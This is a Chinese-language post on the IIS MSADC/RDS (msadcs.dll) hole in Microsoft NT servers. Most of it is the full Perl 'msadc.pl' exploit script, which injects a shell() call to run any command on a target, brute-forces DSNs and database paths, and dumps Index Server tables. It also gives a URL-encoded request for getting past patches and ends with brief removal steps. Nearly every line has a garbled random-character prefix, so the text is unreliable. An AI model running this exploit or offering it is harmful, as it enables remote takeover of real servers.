IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
]*DIn1C^ :gkn`z 涉及程序:
o 8^!wGY Microsoft NT server
4.%/u@rAi z2.OR,R}] 描述:
ODCN~7-@ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
H-&
ktQWK3 xjDaA U, 详细:
q/7T-"q/G 如果你没有时间读详细内容的话,就删除:
L{f0r!d| c:\Program Files\Common Files\System\Msadc\msadcs.dll
Ov:U3P?% 有关的安全问题就没有了。
7'{%djL ]R"n+LnI:= 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
-oju-gf K #B$_ily) 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
X=Y>9 关于利用ODBC远程漏洞的描述,请参看:
]nS9taEA O St~P^1 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm #R=6$ jfR!M07| 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
(=53WbOh/t http://www.microsoft.com/security/bulletins/MS99-025faq.asp sBN4:8 B`%%,SLJ 这里不再论述。
oe_,q&e NUY sQO) 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
I7#+B1t A{hST~s /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
}N3Ur~X\ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
_rUsb4r "y .(E7 6 #=fd8}9 #将下面这段保存为txt文件,然后: "perl -x 文件名"
/h!iLun7I v Dph}Z #!perl
bsWDjV~ #
n
QOLR?% # MSADC/RDS 'usage' (aka exploit) script
M)nf(jw#G #
IrP6Rxh # by rain.forest.puppy
9jUm0B{? #
Z+;670Z # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
V,3$>4x # beta test and find errors!
1B`0.M'd O;;vz+ j use Socket; use Getopt::Std;
X%M*d%n b getopts("e:vd:h:XR", \%args);
nR?m,J ;Uj=rS`Q print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
(@*#Pn|A >\ ym{@+* if (!defined $args{h} && !defined $args{R}) {
sv>c)L}I print qq~
A$'rT|>se Usage: msadc.pl -h <host> { -d <delay> -X -v }
9TE-'R@ -h <host> = host you want to scan (ip or domain)
IPh_QE2g -d <seconds> = delay between calls, default 1 second
}15ooe% -X = dump Index Server path table, if available
HuL9' M -v = verbose
#kEa&Se -e = external dictionary file for step 5
)Chx,pcx< /aMeKM[L` Or a -R will resume a command session
T CO^9RP< DO=zxdTI! ~; exit;}
qg-?Z,EB Xn8r3Nb$A $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
y$pT5X G if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
(AgM7H0 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
gcs8Gl2 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
D\GP+Ota $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
J3=^+/g if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
\Mod4tQ $zV[-d if (!defined $args{R}){ $ret = &has_msadc;
XS"lR | die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
yu62$d 9k!#5_ M print "Please type the NT commandline you want to run (cmd /c assumed):\n"
(A8X|Y . "cmd /c ";
d\aU rsPn $in=<STDIN>; chomp $in;
!xh.S#B $command="cmd /c " . $in ;
ur`:wR] 2? X5D}<J2" if (defined $args{R}) {&load; exit;}
H`ZUI8- fNaS?tV) print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Q2/ZO2 &try_btcustmr;
E%C02sI T#sKld print "\nStep 2: Trying to make our own DSN...";
I_@XHhyVZ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
i;B)@op.# s5ddGiZnBT print "\nStep 3: Trying known DSNs...";
.B9rG~ &known_dsn;
wrW768WR b]U%|bp print "\nStep 4: Trying known .mdbs...";
9ozUg,+Z|J &known_mdb;
Z:}d\~`x$% "# mr?h_ if (defined $args{e}){
j_*#"}Lcp print "\nStep 5: Trying dictionary of DSN names...";
e|ngnkf(G &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
x5}Ru0Z m48m5> print "Sorry Charley...maybe next time?\n";
6muZE1sn exit;
,.<l^sj5 <}$o=>' ##############################################################################
8wqHr@}p aYQIe7J90J sub sendraw { # ripped and modded from whisker
M7;P)da sleep($delay); # it's a DoS on the server! At least on mine...
miZ&9m my ($pstr)=@_;
aE(j_`L78 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Mrlv(1PQT die("Socket problems\n");
J0M7f] if(connect(S,pack "SnA4x8",2,80,$target)){
$fA%_T_P'P select(S); $|=1;
bO%bMZWB!y print $pstr; my @in=<S>;
Y_49UtJIg select(STDOUT); close(S);
f?1?$Sp/W return @in;
X4U$#uI{ } else { die("Can't connect...\n"); }}
E=Z.v =F5(k(Ds ##############################################################################
[,TuNd lclSzC9 sub make_header { # make the HTTP request
/"$;3n~ my $msadc=<<EOT
r0)X]l7 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
ga~C?H,K User-Agent: ACTIVEDATA
"?GA}e"R Host: $ip
Em8C +EM Content-Length: $clen
ZVj/lOP X Connection: Keep-Alive
0XBv8fg +AyrKs?h ADCClientVersion:01.06
257pO9] Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
fE;<)tU
wBUn*L --!ADM!ROX!YOUR!WORLD!
r-s.i+\ Content-Type: application/x-varg
~P85Or Content-Length: $reqlen
s1xl*lKX% ch}t++`l] EOT
Kuz
/ ; $msadc=~s/\n/\r\n/g;
:!\?yj{{ return $msadc;}
B#_<? Vs)Pg\B? ##############################################################################
#?Z>o16,u rn7eY sub make_req { # make the RDS request
tN=B9bm3j my ($switch, $p1, $p2)=@_;
R(sPU>`MX my $req=""; my $t1, $t2, $query, $dsn;
?6F\cl0. 7Rf${Wv0 if ($switch==1){ # this is the btcustmr.mdb query
W4Ey]y" $query="Select * from Customers where City=" . make_shell();
wtCz%!OYB $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
P"LbWZ6Nj $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
6;g"`l51 )V<ML7_? elsif ($switch==2){ # this is general make table query
%o4ZD7@ ' $query="create table AZZ (B int, C varchar(10))";
w]hs1vch $dsn="$p1";}
>weY_%a _h2axXFhT elsif ($switch==3){ # this is general exploit table query
dMw0Aw,2]8 $query="select * from AZZ where C=" . make_shell();
9@LL_r`?< $dsn="$p1";}
ykv,>nSXLL >TT4;p h elsif ($switch==4){ # attempt to hork file info from index server
6\7bE$K $query="select path from scope()";
|UN0jR $dsn="Provider=MSIDXS;";}
-s5j^U{h| '`#sOH elsif ($switch==5){ # bad query
Wm{Lg0Nr $query="select";
[=[>1<L> $dsn="$p1";}
x w8
e E)l0`83~^ $t1= make_unicode($query);
3 xSt -MA $t2= make_unicode($dsn);
nm)H\i $req = "\x02\x00\x03\x00";
]o18oY( $req.= "\x08\x00" . pack ("S1", length($t1));
SW!lSIk $req.= "\x00\x00" . $t1 ;
t'e1r&^:r~ $req.= "\x08\x00" . pack ("S1", length($t2));
x{_:B
DY $req.= "\x00\x00" . $t2 ;
50#iC@1 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
?6;9r[ p return $req;}
`52+.*J+% N8!V%i? ##############################################################################
q#RUL!WF7U N?Byp&rqI< sub make_shell { # this makes the shell() statement
V(hM@ztN return "'|shell(\"$command\")|'";}
=P}ob eY W rB:)Q(8= ##############################################################################
iI|mFc|V @]v}&j7 sub make_unicode { # quick little function to convert to unicode
(gY3?&Ok* my ($in)=@_; my $out;
eD4D<\* for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
ws1io. return $out;}
l`S2bb6uMR #aX+?z\4 ##############################################################################
37OU }H^h~E sub rdo_success { # checks for RDO return success (this is kludge)
h0m+u}oP_H my (@in) = @_; my $base=content_start(@in);
z'=8U@P'# if($in[$base]=~/multipart\/mixed/){
lyY\P6
X return 1 if( $in[$base+10]=~/^\x09\x00/ );}
e[<vVe! return 0;}
B 2p/ gEghDO_G ##############################################################################
00jW s@K Q&j-a;L sub make_dsn { # this makes a DSN for us
z TYHwx my @drives=("c","d","e","f");
+ZFw3KEkz print "\nMaking DSN: ";
7+_TdDBYs foreach $drive (@drives) {
}q<p;4<\F print "$drive: ";
0 &M~lJ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
&8p]yo2zO "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
E@}N}SR . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
hkS0 ae $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
bTBV:]w return 0 if $2 eq "404"; # not found/doesn't exist
H7{)"P]{f if($2 eq "200") {
c`S`.WID foreach $line (@results) {
X:N`x return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
WP*xu-(: } return 0;}
/\L-y,>X 6pJFrWe{ ##############################################################################
}W2FF *Ubsa9'fS sub verify_exists {
#`Af my ($page)=@_;
`_YXU my @results=sendraw("GET $page HTTP/1.0\n\n");
srzlr-J return $results[0];}
$('"0 @fg /b&ka&|t
##############################################################################
Dj?84y b+=@;0p*6B sub try_btcustmr {
!wbO:py[8> my @drives=("c","d","e","f");
O*Gg57a my @dirs=("winnt","winnt35","winnt351","win","windows");
O`?qnNmc; (,nQ7,2EX foreach $dir (@dirs) {
E?v9c>c print "$dir -> "; # fun status so you can see progress
o >wty3l: foreach $drive (@drives) {
A9 *P7 print "$drive: "; # ditto
}?eO.l{ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
p{@j M $reqlenlen=length( "$reqlen" );
FIMM\W
$clen= 206 + $reqlenlen + $reqlen;
+56N}MAs -!@]z2uU my @results=sendraw(make_header() . make_req(1,$drive,$dir));
p!oO}gE if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
0P_=Oy"l- else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
/penB[1i NL^;C3u ##############################################################################
kAV4V;ydh ~,^pya sub odbc_error {
#%9t- my (@in)=@_; my $base;
9%#u,I my $base = content_start(@in);
Rb/|ae if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
LZ=E $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
NqlU? $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_xWX/1DY $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%I^schE* return $in[$base+4].$in[$base+5].$in[$base+6];}
;*c8,I; print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
"?*B2*|}` print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
,=a+;D]' $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
]F{F+r #]rfKHW9 ##############################################################################
G;ihm$Cad $~3?nib"j sub verbose {
O*SJx. my ($in)=@_;
FOyANN' return if !$verbose;
wC>}9OM print STDOUT "\n$in\n";}
7v']wA r] Wq2Bo*[* ##############################################################################
~|Nj+A _^Z
v[P sub save {
2S my ($p1, $p2, $p3, $p4)=@_;
7+NBcZuG9 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
@
^q}.u` print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
WJlJD*3 close OUT;}
7_9^nDU r@t
\a+
##############################################################################
2tw3 =) 9] L4`.HM sub load {
o[aP+O Md my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
9oj#5Hq open(IN,"<rds.save") || die("Couldn't open rds.save\n");
9GX'+$R] @p=<IN>; close(IN);
FfRvi8 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
A(D>Zh6 o@ $target= inet_aton($ip) || die("inet_aton problems");
u?4d<%5R! print "Resuming to $ip ...";
@?n~v^ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
r1&eA% eh if($p[1]==1) {
{i<L<Y(3 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
|4C5;"P c $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
<YM!K8hu$ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
P<CPA7K if (rdo_success(@results)){print "Success!\n";}
2RU/oqmR else { print "failed\n"; verbose(odbc_error(@results));}}
~v@.YJoZ4Z elsif ($p[1]==3){
wzj:PS if(run_query("$p[3]")){
:u,Ji9
u print "Success!\n";} else { print "failed\n"; }}
h1~/zM/` elsif ($p[1]==4){
7](aPm8 if(run_query($drvst . "$p[3]")){
:IX_|8e ^ print "Success!\n"; } else { print "failed\n"; }}
^\oMsU5( exit;}
&s8vmUt C14"lB. ##############################################################################
3o2x&v kmg/hNtN sub create_table {
\IhHbcF`d my ($in)=@_;
;uho.)%N`F $reqlen=length( make_req(2,$in,"") ) - 28;
-]Ny-[P $reqlenlen=length( "$reqlen" );
yJ:rry $clen= 206 + $reqlenlen + $reqlen;
F Jp<J my @results=sendraw(make_header() . make_req(2,$in,""));
7 \AoMk}
return 1 if rdo_success(@results);
m;J'y2h =$ my $temp= odbc_error(@results); verbose($temp);
yRivf.wH return 1 if $temp=~/Table 'AZZ' already exists/;
ok1w4#%, return 0;}
\;+TZ1i_ 0}`0!Kv ##############################################################################
WR9-HPF }vb.>hy sub known_dsn {
z%;_h- # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
lMmP]{.>$ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
7/HX!y{WP "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
2c'<rkA "banner", "banners", "ads", "ADCDemo", "ADCTest");
*&z!y/ RGLJaEl ! foreach $dSn (@dsns) {
s$kvLy< print ".";
SN 4JX next if (!is_access("DSN=$dSn"));
-C2[ZP- if(create_table("DSN=$dSn")){
+V9 (4la print "$dSn successful\n";
zWrynJ}s if(run_query("DSN=$dSn")){
G '%ZPh89 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
]*X z~Ox2 print "Something's borked. Use verbose next time\n";}}} print "\n";}
#h#_xh' bt"5.nm ##############################################################################
!ir%Pz^) Elt"tJ sub is_access {
9+b){W my ($in)=@_;
tmQ,> $reqlen=length( make_req(5,$in,"") ) - 28;
6st^-L $reqlenlen=length( "$reqlen" );
Us\Nmso
z $clen= 206 + $reqlenlen + $reqlen;
t9.| i H my @results=sendraw(make_header() . make_req(5,$in,""));
(+nnX7V?I my $temp= odbc_error(@results);
vW0U~(XlN verbose($temp); return 1 if ($temp=~/Microsoft Access/);
ck$> return 0;}
:7*9W|e
H~?7:K ##############################################################################
+Mb}70^ jItVAmC=i sub run_query {
;D<;pW my ($in)=@_;
VFK]{!C_ $reqlen=length( make_req(3,$in,"") ) - 28;
Q yhu=_& $reqlenlen=length( "$reqlen" );
T5-Yqz $clen= 206 + $reqlenlen + $reqlen;
d/b\:[B@ my @results=sendraw(make_header() . make_req(3,$in,""));
!ZM*)6^ return 1 if rdo_success(@results);
y~z&8XrH my $temp= odbc_error(@results); verbose($temp);
mMT\"bb' return 0;}
ba)hWtenH tqpSir ##############################################################################
I :8s 3; im9Pj b% sub known_mdb {
It]GlxMX my @drives=("c","d","e","f","g");
JH#p;7; my @dirs=("winnt","winnt35","winnt351","win","windows");
^}UFtL i my $dir, $drive, $mdb;
ny0]Q@ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
P=a&>i wjTW{Bg~G # this is sparse, because I don't know of many
[sK'jQo-[1 my @sysmdbs=( "\\catroot\\icatalog.mdb",
(ylZ[M&B: "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
iM$iZ;Tp "\\system32\\certmdb.mdb",
+fHqGZ] "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
4YXp,U Rsx?8Y^5 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
B}@CtVWFz "\\cfusion\\cfapps\\forums\\forums_.mdb",
{rzQ[_)EC "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
x=N0H "\\cfusion\\cfapps\\security\\realm_.mdb",
TpYdIt9#> "\\cfusion\\cfapps\\security\\data\\realm.mdb",
T#KVN{O "\\cfusion\\database\\cfexamples.mdb",
~ymSsoD^ "\\cfusion\\database\\cfsnippets.mdb",
J&L#^f*d "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
55Xfu/hQ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Xif>ZL?aXb "\\cfusion\\brighttiger\\database\\cleam.mdb",
#dFE}!"#` "\\cfusion\\database\\smpolicy.mdb",
yQq|!'MK k "\\cfusion\\database\cypress.mdb",
qykI[4 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
[;#^h/5E "\\website\\cgi-win\\dbsample.mdb",
6ZQ$5PY "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
D 77$aCt "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
P)[QC ); #these are just
WHr:M/qD foreach $drive (@drives) {
v?o("I[ C foreach $dir (@dirs){
pIPjTQ?cq foreach $mdb (@sysmdbs) {
Gb.}af#v print ".";
^Yo2 R if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
)o;n2T#O print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
FX+^S?x. if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
-h 21 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
qxHsmGV } else { print "Something's borked. Use verbose next time\n"; }}}}}
-3SRGr C9j5Pd5q1L foreach $drive (@drives) {
"uBr]N: foreach $mdb (@mdbs) {
6Z-[-0o+g print ".";
~2UmX' if(create_table($drv . $drive . $dir . $mdb)){
'EB5# print "\n" . $drive . $dir . $mdb . " successful\n";
b{,vZhP- if(run_query($drv . $drive . $dir . $mdb)){
j?(@x>HA print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
.p'\@@o5 } else { print "Something's borked. Use verbose next time\n"; }}}}
#B__-"cRv }
7 .xejz ,%KMi-w]q, ##############################################################################
YVO~0bX: XeXK~ sub hork_idx {
!/Wv\qm print "\nAttempting to dump Index Server tables...\n";
CYNpbv print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
?xt${?KP $reqlen=length( make_req(4,"","") ) - 28;
_mDvRFq $reqlenlen=length( "$reqlen" );
R/&C}6Gn $clen= 206 + $reqlenlen + $reqlen;
}S9uh-j6l my @results=sendraw2(make_header() . make_req(4,"",""));
~{D:vj4> if (rdo_success(@results)){
Jh%k:TrBm my $max=@results; my $c; my %d;
9QkIMJf0e for($c=19; $c<$max; $c++){
$]b&3_O$N8 $results[$c]=~s/\x00//g;
CM+wkU ?, $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
BgwZZ<B $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
{ZgycMS $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
4OdK@+-8U $d{"$1$2"}="";}
Ot3+<{ foreach $c (keys %d){ print "$c\n"; }
Of{'A } else {print "Index server doesn't seem to be installed.\n"; }}
BtP*R,> [,qb)
&_ ##############################################################################
DO?
bJ01 =e]Wt/AQ sub dsn_dict {
]K%D$x{+\ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Ay\!ohIS3 while(<IN>){
Mp^U)S+ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
nHB`<B next if (!is_access("DSN=$dSn"));
yXA]E.K! if(create_table("DSN=$dSn")){
Xqas[:)7+ print "$dSn successful\n";
LiD-su
D if(run_query("DSN=$dSn")){
MM Nz2DEy[ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
JmVha!<qk print "Something's borked. Use verbose next time\n";}}}
;%PdSG=U print "\n"; close(IN);}
]I0(_e|z} +isaqfy/ ##############################################################################
]TKM.[[ kN$L8U8f sub sendraw2 { # ripped and modded from whisker
?[q.1O sleep($delay); # it's a DoS on the server! At least on mine...
&?7+8n&+ my ($pstr)=@_;
:=%`\\ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
XcQ'( die("Socket problems\n");
!O#NP! if(connect(S,pack "SnA4x8",2,80,$target)){
9rQpKq:#
E print "Connected. Getting data";
Q"H1(kG| open(OUT,">raw.out"); my @in;
|p+ xM select(S); $|=1; print $pstr;
W$Zc;KRz$0 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
LL=nMoS close(OUT); select(STDOUT); close(S); return @in;
2BIOA#@t } else { die("Can't connect...\n"); }}
PRF^<%mkI ~TALpd ##############################################################################
"G!V?~; :#p!&Fi sub content_start { # this will take in the server headers
tL@m5M%:N2 my (@in)=@_; my $c;
N
@sVA%L. for ($c=1;$c<500;$c++) {
H>5@/0cL2 if($in[$c] =~/^\x0d\x0a/){
K\>CXa if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
ic|>JX$G else { return $c+1; }}}
}g[(h=Qi return -1;} # it should never get here actually
NYZI;P1DA 8fs::}0 ##############################################################################
9S[Tan| ;/-#oW@gQ sub funky {
`F1 ( v my (@in)=@_; my $error=odbc_error(@in);
;u: }rA) if($error=~/ADO could not find the specified provider/){
SwPc<Z?P print "\nServer returned an ADO miscofiguration message\nAborting.\n";
D*#r
V
P exit;}
'5"`H>[ if($error=~/A Handler is required/){
%j?<v@y print "\nServer has custom handler filters (they most likely are patched)\n";
a=3{UEi'o exit;}
+']S if($error=~/specified Handler has denied Access/){
>P\/\xL= print "\nServer has custom handler filters (they most likely are patched)\n";
nLjo3yvV.. exit;}}
afa7'l=^i D>Ph))QI ##############################################################################
!'EE8Tp~F $:MO/Suz{ sub has_msadc {
B%Spmx8 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
K%"cVqb2V my $base=content_start(@results);
0UT2sM$ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
y:8*!}fR return 0;}
.J3Dk=/ a<K@rgQ ########################
Px))O&w{ A">A@`} -!]dU`:(X 解决方案:
nY<hfqof 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
MM%c 2、移除web 目录: /msadc